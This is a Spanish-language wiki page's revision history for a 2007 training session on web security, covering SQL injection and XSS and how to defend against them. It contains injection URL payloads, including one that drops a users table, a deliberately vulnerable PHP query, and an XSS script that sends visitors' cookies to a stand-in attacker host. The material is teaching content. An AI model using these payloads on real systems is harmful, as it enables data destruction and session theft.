Categorías :: Cambios :: Indice :: Login :: Guegue.Com :: Búsqueda:

Revision [525]

Most recent edit made on 2007-11-09 15:57:01 by JavierWilson

Additions:


CategorySysAdmin




Revision [523]

Edited on 2007-11-09 15:55:45 by JavierWilson

Additions:
Tipo de capacitación: técnica pública


Deletions:
Tipo de capacitación: pública




Revision [522]

Edited on 2007-11-09 15:55:24 by JavierWilson

Additions:
Enlace: http://en.wikipedia.org/wiki/Code_injection




Revision [521]

Edited on 2007-11-09 15:48:20 by JavierWilson

Additions:
Tipo de capacitación: pública




Revision [520]

Edited on 2007-11-09 15:45:29 by JavierWilson

Additions:
Es la injection de código sql debido a que al guardar información en la base de datos no limpiamos los datos enviados por el usuario.
Limpiar toda variable antes de guardarla. Todas estas soluciones se pueden combinar, en muchos casos se deben combinar:
settype($user_id, 'int');

Notas:
Injection también puede ocurrir a un archivo (RFI remote file injection), o a un comando que luego ejecutemos: shell injection.
Blind Sql Injection: Normalmente injection es facilitada por los mensajes de error, con blind sql injection solo se tiene la opcion de éxito o fracaso, accediendo al catálogo se va construyendo el ataque.
Es el opuesto, de cierto modo, es el injectar código malicioso a los datos para luego actuar al ser mostrados en pantalla.
Generalmente usado para “phishing”. Ataque, injectar en mi blog, o artículo. Un ejemplo que registraria en la bitacora maquina del atacante (example.com), los cookies de todo visitante del sitio donde se colocó el injection.
<script>
 document.write('<script src="http://www.example.com/get_cookies?cookies='
 document.write(document.cookie)
 document.write('"></script>');
</script>

Este ejemplo registraria en la bitacora maquina del atacante (example.com), los cookies
Solución:
Limpiar toda variable que se tome (de la base de datos) a la pantalla.
$datos = htmlentities($datos)
#  ó
$datos = htmlspecialchars($datos)


Deletions:
Al guardar información en la base de datos no limpiamos los datos enviados por el usuario.
Limpiar toda variable antes de guardarla. Esto puede ser tarea del la libreria que usas para acceder los datos.
Todas se pueden combinar, en muchos casos se deben combinar:
%%(php)settype($user_id, 'int');
http://www.php.net/manual/en/function.settype.php
(o ejecutar un shell o guardar un archivo




Revision [519]

The oldest known version of this page was edited on 2007-11-09 15:24:39 by JavierWilson

Capacitación sobre seguridad de aplicaciones web

Fecha: 20 de Octubre 2007
Por: Javier
Resumen: Sobre sql injection y ataques XSS

SQL Injection

Problema:
Al guardar información en la base de datos no limpiamos los datos enviados por el usuario.

Limpiar toda variable antes de guardarla. Esto puede ser tarea del la libreria que usas para acceder los datos.
http://example.org/datos.pgp?user_id=7
$query = "SELECT * FROM users WHERE id = '" . $user_id . "';"
http://example.org/datos.pgp?user_id=7' or '1'='1
http://example.org/datos.pgp?user_id=7'; DROP TABLE users; SELECT * FROM users WHERE '1'='1


Soluciones:
Todas se pueden combinar, en muchos casos se deben combinar:

sql_escape:
$user_id = mysql_escape_string($user_id); //pgsql_escape_string en postgresql
$query = "SELECT * FROM users WHERE id = '" . $user_id . "';"


Por qué no usar quotes magic o similares? La biblioteca de la misma base de datos es la manera más directa, más segura, quotes magic (OCSE) trata de dar una solución general a todas las bases de datos, en mi experiencia, es mejor usar funciones nativas, funciones especializadas.

casting:
$user_id = (int)$user_id;

settype($user_id, 'int');
http://www.php.net/manual/en/function.settype.php

expresiones regulares:
(php)$user_id = preg_replace("/[^A-Za-z0-9_.-]/", "", $user_id);
Aqui solo aceptamos letras, numeros y _.-

almidon:
(php)$user_id = $data->request['user_id']; solo funciona en caso se user_id esta definido como dato.
(php)$user_id = Table::parse_var($user_id); %%

(o ejecutar un shell o guardar un archivo

XSS atacks


  Attachment Size Date Added
      Blind_SQLInjection.pdf   219.32 KB   11/09/2007 3:46 pm
      bh-us-04-hotchkies.pdf   542.13 KB   11/09/2007 3:52 pm
      XSS.pdf   175.22 KB   11/09/2007 3:55 pm
 

Valid XHTML 1.0 Transitional :: Valid CSS :: Powered by WikkaWiki
Page was generated in 0.1193 seconds